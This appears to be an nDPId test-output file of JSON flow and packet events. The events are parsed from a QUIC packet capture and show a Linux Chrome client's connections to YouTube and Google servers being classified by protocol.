+00620{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":422,"source":"quic.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1463060980336,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.210.238","src_port":34438,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTube","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"www.youtube.com","user_agent":"Chrome\/49.0.2623.87 Linux x86_64"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":423,"source":"quic.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1463060980349,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.214.110","src_port":48445,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02203{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":349794,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAViOWpAAEARi2bAqAFp2DrWbr09AbsFTixPDZgh\/ntZ+3x4UTAyNQEexu19QA91RUfxOasBoAEABENITE8XAAAAUEFEAD0BAABTTkkASAEAAFNUSwDQAQAAVkVSANQBAABDQ1MA5AEAAE5PTkMEAgAATVNQQwgCAABBRUFEDAIAAFVBSUQsAgAAU0NJRDwCAABUQ0lEQAIAAFBETUREAgAAU1JCRkgCAABJQ1NMTAIAAFBVQlNsAgAAU0NMU3ACAABLRVhTdAIAAENPUFR4AgAAQ0NSVJACAABJUlRUlAIAAENFVFY4AwAAQ0ZDVzwDAABTRkNXQAMAAC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0taS55dGltZy5jb20wbVd\/xJG3uBvID0WAK+ohpx7cyOJ2dtebsPJwjywjfFuGDbC64HOW7daWVAssjrQthDJVGy+I6s+aKoR7mAYJDhdEEUKOBhWT8KdUZ+QsCFwZeIYkra13fPULR+kjxZwRpLY7sCam2MMIw19PW15Bf2xgAD\/plCBqG73f91yMrvU7pcyTjshGUTAyNXsm6efkXHH\/AeiBYJKSGuhXNIn0h3jC79n8KmTTqLGBqNDsO\/+yFOWZXiuGsfLkAWQAAABDQzIwQ2hyb21lLzQ5LjAuMjYyMy44NyBMaW51eCB4ODZfNjS7Vl7XCOzOLURPKzlhG40eAAAAAFg1MDkAABAAHgAAAFNDC7W8XmRlWw2IWugDdRStg\/GKmfFye59SXxQJoGstAQAAAEMyNTVGSVhEVe9eTSHF9WXiYxqCfXGFX0ALe5CprnnrbhIBAFhkMdLsvVn8dBclelTniFgmv7sivZhjmekneMr+6hkdFDGQb\/mkcgr5pmlxB2Adl4UO+Q5ZRPsivx7E2pdvMReaoISz1dlKFlGYuAatdBRMcJaEN+iNYNqPa0KmC4oIMq310RgCpJw2LDB3pVyVeASJBnCusnfTUVrGDsYCI0tVvwmaJscLHqtT1URTpBOCGDqnTS9VwZ\/TQa7YakZ29aLWPRkUAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00616{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":423,"source":"quic.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1463060980349,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.214.110","src_port":48445,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTube","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"i.ytimg.com","user_agent":"Chrome\/49.0.2623.87 Linux x86_64"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":424,"source":"quic.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1463060980356,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.201.227","src_port":40030,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02196{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":356958,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAViY+ZAAEARbXXAqAFp2DrJ45xeAbsFTrsoDSo6NO9En0amUTAyNQHxQPc0oXq52GqfzEUBoAEUBUNITE8PAAAAUEFEACcEAABTTkkAOAQAAFZFUgA8BAAAQ0NTAEwEAABNU1BDUAQAAFVBSURwBAAAVENJRHQEAABQRE1EeAQAAFNSQkZ8BAAASUNTTIAEAABTQ0xThAQAAENPUFSIBAAASVJUVIwEAABDRkNXkAQAAFNGQ1eUBAAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLWZvbnRzLmdzdGF0aWMuY29tUTAyNXsm6efkXHH\/AeiBYJKSGuhkAAAAQ2hyb21lLzQ5LjAuMjYyMy44NyBMaW51eCB4ODZfNjQAAAAAWDUwOQAAEAAeAAAAAQAAAEZJWEQ2AwEAAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00623{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":424,"source":"quic.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1463060980356,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.201.227","src_port":40030,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"fonts.gstatic.com","user_agent":"Chrome\/49.0.2623.87 Linux x86_64"}} +01441{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":358580,"pkt_caplen":816,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":816,"pkt_l4_len":782,"pkt":"8IQvSpdgeJKcD6iOCABFAAMieqxAAEART+TAqAFp2DrS7oaGAbsDDnUSDaSWOQdzcSypUTAyNQKic+J8GjVsfJMsdsljddNYUoaFl0z7yC+b\/wr4VU+uLim9cSDoCfQ+BQHWf7axGI\/0otFRZnw6Kt8qBdaHMLIkdKcN8wdByZN\/oxJ5hHJiGBr5fiEEYQesGjd7ktKww8RLAeoDPzO5xHVx6UhHPdcfqLCO0OUirBVeLWv0B2O9yzbQVc1VH+bmliqhUEJvrnRG4cr78AW8g3wScWC4rwYpeJVk\/IAAQQ57Dki1DMwjrpTDHht\/5ZKfx0L6ARDMsMT4o5zF\/akZnbDa0ujEPexxAMZmDGeFTAQkCIMwA\/gA3J1r7aP1KpIssFW81KVjJ5iXRD5YwhMXjujhZlTD7FpkokyBosoiaYQ9OlBELgrsv\/9qDO2wxdYuRfMHHiN5v5dCIbRSeNjSHrD5k38mY1aUywqkMP+2CUbD2epWgY5pAU9yj7pwB44jlPLOPZlRDlPzYteeLN3w3AP\/lAuGaox0e\/nN6hJNNlHNcIQxZHPP2S1Nn2pwslhn\/VZ\/sLfiYbgNEJ7jii0Xgsq+CMf0fQRIuCSQdHqU2jrdN+ANDhT5dE3khD4eoPHs8vCv4BKfMl7gejkwwAW2mHRMOqa7T9bOfmL\/xQjsgJk39nF1RjCMAK12Xi+dtOGE9IgQxbz9zSmgmL2yfIbOnXdI+bTM22zfHQn6FUtzcayZDzqJ6V1SbCofsr53iOUBUvhiUNinYAVziLfoiiMvfHEE5p0lanDdKZb0YpgPqdNQd16jKwJjqhYbmKL4sSrdZfI7oqtHDzJwMafbASoNSGD3Uv4mKwYKsjq2Gt5i5gDh3DTXlk8HfNKd3wJG6rjWcXbXKzMhv54KIsq1aZ1I4i1ag8lQ0v10wAGcat1qElIOAsfiTGWepgC8HR8kDowOKSvfud74VVvyn31uOyJudA\/cCGuSQ\/d7qs9IBWEXiAAAuMK7hXoYMc\/2wJckDypsBIy3x5hskbJa1d0Ahy9jqEdMlnrF69g47VNiGR6icm7nProfol9M2gJRYOL9DgN\/"} +02222{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":361060,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"eJKcD6iO8IQvSpdgCABFAAViEvYAADMR8Kas2RAEwKgBaQG7smUFTookAAGQybRh4NjU1uL582WDWYRD2dtjLe0ntuD1Rv2\/b2fKGeJD6xTTVAUMsP2lDwoVXXJwitAjM1Ss3TeNIyNiPaVEHvBHWgnmTCyfAFo80jSe0xJw6Ybz6w3BHKed9Mf4LC34oG\/VIDlHTxzV6KkXcvqfJ+U14RSVhKW3KAUcxQl5Qnl+FE6bIGsShbMSV6P+UWlpqynVxRJTYzRSpGWAchBBRlF7EhFWsrYnblyXrD3VTjEqg879fRXYm2D6G+l3V3l4hCc8odvANTzc501Sej7x6oDCtVRndJ56LpiERNpHUkSjmM00+Wy1dbMT\/Vm99GrTmWmQ58Bhd7+x\/sycdH8p6kPEaBRymR3LuujKz\/Gp3cYG3YCBKEJqKQbhAu5X3FQ9PXBc+M62o93W9PU8b6NIWgn7PPkt\/looi8HdoxE9N0Q1KeX\/DgvtM+nwxVmrskJK6Thzut4c\/pKoeIdgzgc3\/jHyNkNEOaEuYipEhpS0\/Q+tOI16w+YZPxlDlM2uXgEDMcZKpZ3i643hutLioOhndNrgTa+7hlc5d+9fBUPIG4kEo\/3qe\/1sIW96DdumLgeq7hN8q9ipK\/OYJXgatYkOUytQ0BidBbi0s1rXKIV0\/20SDyn2cTxo7WHBdcfDH2uOAi\/TCrRfDAaRNQYOzMWy\/oZuiEP4GWby88PrtsqP7zlBhlOROw4HDIjA48YJ3izoMulzCHWEfBSraR6GRvLlvTobSdvt\/z+UVvoGEaNUxGfD3NV\/ys6k8iURbaIUpy8FqGPXqO5y1+eef+JbMhHxVscn06dBggRMWGOOEqj0iilT1RKBH9sFsvyyAlIRcyu73\/dSHY+X7jFjSREVA2KvZo6yurWHJdfQmRknszSHCEHvhyALYDYo7SRCnZFDn5E9W3gfJx9JMvRGkKHXuxSF3xLvoY5nZEGBaR+XmmVlyrTJABRhDpbAmZ5n4r9hBYxhQHxcHxiGFFAZf8z0g25Mt1TpS14HKgYd19UYag4E9v9SK0NipYTC9fTFM1QGWJgR0BKWBdAxjVtOeAxGYzbRhH6dsuYtciI4zHHsc2k8CUrpT7INwMysA9v0qD2r5uYmQ8cWNQI093fnUkc1ZiLc0jIwKw1r5S6aXpzTXj770vHeucOObKGH\/cu1fclnWip+hpVKiVNyqyTuHufVLPShgYbyGVCuWpZPLDtm2Jgl78SGXcMPJqMT\/eMThOsXIuSLcIkh41PVNQKxF5sBj\/BOj5ESvnmDK6QkupJ4WgD36Qg55pRhbyhTXn3wlt2Wr\/yvzjY+U2Y7nfQG6dNeCf\/ZR4o941mW0nR93XyOa+USW4ElVSAKkaXcwrIvcK8SdED4dYTXRprenIgGMn8eEVkFhh5c+SVUq+XERE8IzY1QaFHpJZP8fwhzTmsejKR4iNGy5hDCfipCmLS34n3Ti+BCtXRamD+5SfxUJJlOaGuDx1ZxsJ+DRIsQP+0kLMojxKXXv8fxv+kjUQYTnOJebQGi1vj1CqRIxf5a70YpuiubpyNGMG3LRDDgT1bz3u8MXCO6UUeWAw7iQ0bpGgmPr47zuIVkRhe2cIWsbNBRCq+DfTxqyI5xdGH+ZdSvdGdcCnw7eeyZKURtoMVPU9ujTUcxOz5LcEN\/TxALvQe7jb0VWnhZrurBM\/tZX7uY\/NVzfAVeTgxdzrV78G5uYYEagOMAWzfqvOVOd0DJVYOhYStQVf878CnlBQP9yq8zVHiaudHd7jYBpAflemve6zr2sCq3IlfpR3vKBjLqbY7vKTWflGz9T6iOy4tB+9SN2sXj4A2cmfb4"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":427,"source":"quic.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1463060980364,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.201.238","src_port":55934,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02201{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":364728,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAViJrhAAEARqpjAqAFp2DrJ7tp+AbsFTrs0DdvEpLUMteNnUTAyNQF\/L3UOAoUxuEbp+7YBoAEABENITE8XAAAAUEFEAFcBAABTTkkAYgEAAFNUSwDQAQAAVkVSANQBAABDQ1MA5AEAAE5PTkMEAgAATVNQQwgCAABBRUFEDAIAAFVBSUQsAgAAU0NJRDwCAABUQ0lEQAIAAFBETUREAgAAU1JCRkgCAABJQ1NMTAIAAFBVQlNsAgAAU0NMU3ACAABLRVhTdAIAAENPUFR4AgAAQ0NSVJACAABJUlRUlAIAAENFVFY4AwAAQ0ZDVzwDAABTRkNXQAMAAC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1zLnl0aW1nLmNvbbTKJy3aOx+44evN5g4\/bhdbtR7MQzwZCntatSQ+G8ewpnq2IX6bmQGJ6u0gPE\/alKxhVCh5gNqzZa48ANz\/fzn8t\/OZMVjaOBqhnSl8gs5MAKWKvx2rs4aeJgBO0M1ar5HmEtqD1e+f9L6rfh+tUTAyNXsm6efkXHH\/AeiBYJKSGuhXNIn0S2TVLqHgVarrziXF9vRgZfRbyyeop0hCtvyBkGQAAABDQzIwQ2hyb21lLzQ5LjAuMjYyMy44NyBMaW51eCB4ODZfNjSnz1A5VQjBXngqx54WDpGpAAAAAFg1MDkAABAAHgAAAAEtDDoRyfLDyY7FDWPOtGGCrqeP59Ev12tUbO63fzUkAQAAAEMyNTVGSVhEVe9eTSHF9WXiYxqCfXGFX0ALe5CprnnrhREBANWx00HuRXMG0vkL7viDDbkIpOBViFNO6g+NNdysNjd851pEDUZpbHOuJYtW0iX4hBg5fY5j3AROZ3LGqn4GtUunxLSKIjTGQCqElPyRHXp8aZanMkwEPAt6EM7grDPd5Xwii1XuJA6M67q0oAq4SWvvMG1sUGL2sjhrCJT2dHXvhq+Y03p2EXtsBsu4SwWblRpFN82TNjK4JK6xcJx5X0VS7I5kAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00616{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":427,"source":"quic.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1463060980364,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.201.238","src_port":55934,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTube","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"s.ytimg.com","user_agent":"Chrome\/49.0.2623.87 Linux x86_64"}} +00502{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":377579,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"eJKcD6iO8IQvSpdgCABFAABtTPkAADMRu5ms2RADwKgBaQG7ng0AWd\/uADd2O2oBZL+pVdP7tzva+fHvZhkEEtFfk705wPfWHPtzaQLZxSHnInASbTD2097V+S960VCK+SG68+SzP6VbXn8\/e\/F4Y7OlxWw39RE6om32"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":429,"source":"quic.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1463060980378,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.210.225","src_port":53817,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02201{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":378719,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAViJXJAAEARouvAqAFp2DrS4dI5AbsFTmmUDQ+yIGZd4AviUTAyNQGAeAVQdnPN3KBdghsAoAEABENITE8XAAAAUEFEAFMBAABTTkkAYAEAAFNUSwDQAQAAVkVSANQBAABDQ1MA5AEAAE5PTkMEAgAATVNQQwgCAABBRUFEDAIAAFVBSUQsAgAAU0NJRDwCAABUQ0lEQAIAAFBETUREAgAAU1JCRkgCAABJQ1NMTAIAAFBVQlNsAgAAU0NMU3ACAABLRVhTdAIAAENPUFR4AgAAQ0NSVJACAABJUlRUlAIAAENFVFY4AwAAQ0ZDVzwDAABTRkNXQAMAAC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXl0My5nZ3BodC5jb23Qhl3t4O7jCNI4\/86cd6fedmETl+HX+i21qzSEiNb4OJfB1Z4x91CByMieITzxdi32+v4DBxDEfj4iCcg46VL\/PH8fxOKMEzAFEjMjm3TRFNLXbtT6qGv6iFQOxYDkzP0ABTP7FYiXHH9noNffRk12UTAyNXsm6efkXHH\/AeiBYJKSGuhXNIn02TPR2k9zoZDH1PYmCZf2Zt1J713FQWCpFni4GGQAAABDQzIwQ2hyb21lLzQ5LjAuMjYyMy44NyBMaW51eCB4ODZfNjQlEdwQCcHdE7bz3Yek8lX\/AAAAAFg1MDkAABAAHgAAAHebYWUW7CksegbNUHmoS00JCUhXrcp5peVS86L6lokeAQAAAEMyNTVGSVhEYnkO9pznNwziYxqCfXGFX0ALe5CprnnrLQMBAMirDAfWX8CjXhckfelJ8XlBmAh34iT31gIDz8lnlm4Q\/bpdZ31E6\/Xb4Zw1dQ4d56j0Eolero2q9ipFB5AjgjU5le2N8ZGkm7r3g24DXoIf95dR23D5dPhHt4gzaLbSHu3jXT7dZ4nC9v+kOJu9q4K2bd+Xl47r9Vjbe0PzK8JTkSpeZDmRHU3bz95Toi6T6fqfvQJWfNqRdNdObQaDdl8+eoJfAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00618{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":429,"source":"quic.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1463060980378,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.210.225","src_port":53817,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTube","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"yt3.ggpht.com","user_agent":"Chrome\/49.0.2623.87 Linux x86_64"}} +00442{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":388256,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"8IQvSpdgeJKcD6iOCABFAABBHBJAAEARn6vAqAFprNkQBLJlAbsALZ9GDEPl1BjSnP0KAohkBW4mjqf+lWrwMPohYA0CsIfpCV\/yUKbgEg=="} 